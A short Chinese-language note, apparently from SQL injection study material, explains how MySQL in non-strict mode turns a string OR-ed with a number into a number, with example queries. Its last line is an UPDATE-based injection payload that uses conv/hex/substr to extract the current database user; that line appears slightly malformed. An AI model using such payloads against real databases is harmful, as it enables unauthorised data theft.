在mysql中,字符串和数组进行或运算时,将得到数字。但是需要注意的是,这个特性需要在MySQL的非严格模式下才可以使用。
非严格模式概念:很多集成的PHP环境(PHPnow WAMP Appserv等)自带的MySQL貌似都没有开启MySQL的严格模式。何为MySQL的严格模式,简单来说就是MySQL自身对数据进行严格的校验(格式、长度、类型等),比如一个整型字段我们写入一个字符串类型的数据,在非严格模式下MySQL不会报错,同样如果定义了char或varchar类型的字段,当写入或更新的数据超过了定义的长度也不会报错。
mysql> select 'abc'|123; +-----------+ | 'abc'|123 | +-----------+ | 123 | +-----------+ 1 row in set, 1 warning (0.00 sec) mysql> select user()|123; +------------+ | user()|123 | +------------+ | 123 | +------------+ 1 row in set (0.00 sec)
Payload : update xxx set name=""|conv(hex(substr((select user()),1,10))16,10)|"" where name="111";